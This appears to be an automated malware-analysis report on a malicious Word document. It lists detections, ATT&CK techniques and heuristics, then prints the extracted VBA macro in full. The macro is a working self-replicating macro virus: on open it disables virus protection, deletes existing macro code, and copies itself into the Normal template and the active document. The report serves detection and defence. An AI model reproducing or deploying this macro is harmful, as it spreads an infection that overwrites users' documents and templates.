MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro. The script attempts to copy itself to the Normal template and the active document, indicating a persistence or propagation mechanism. The ClamAV detection 'Doc.Dropper.Agent-6395456-0' further supports its malicious nature as a dropper.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6395456-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6395456-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1688 bytes |
SHA-256: 0d02133094213ae7bcbce53b93269618bb109a33fbea5181ebc576979d3533cd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "kgrffb"
Rem"Ìî?êîììåíòàðè"
Rem"Ìî?êîììåíòàðè"
Sub autoopen()
On Error Resume Next
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = 0
ActiveDocument.ReadOnlyRecommended = False
WordBasic.DisableAutoMacros -1
Set AD = ActiveDocument.VBProject.VbcoMponents
Set NT = NormalTemplate.VBProject.VbcoMponents
InfectedAD = False
InfectedNT = False
For i = 1 To AD.Count
If AD(i).Name = "kgrffb" Then InfectedAD = True
Next i
For t = 1 To NT.Count
If NT(t).Name = "kgrffb" Then InfectedNT = True
Next t
'§ß§à§Ó§à§Ö
If InfectedAD = True And InfectedNT = True Then Exit Sub
If InfectedAD = False Then
For i = 1 To AD.Count
AD(i).CoDemodule.deleteLines 1, AD.VbpojeCt.VbcoMponents(i).CoDemodule.CountofLines
Next i
NT("kgrffb").Export (Application.StartupPath & "\kgrffb")
AD.IMport (Application.StartupPath & "\kgrffb")
End If
If InfectedNT = False Then
For i = 1 To NT.Count
NT(i).CoDemodule.deleteLines 1, NT.VbpojeCt.VbcoMponents(i).CoDemodule.CountofLines
Next i
AD("kgrffb").Export (Application.StartupPath & "\kgrffb")
NT.IMport (Application.StartupPath & "\kgrffb")
End If
ActiveDocument.ReadOnlyRecommended = False
ActiveDocument.Save
NormalTemplate.Save
If Options.BlueScreen = True Then ShowVisualBasicEditor = True
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.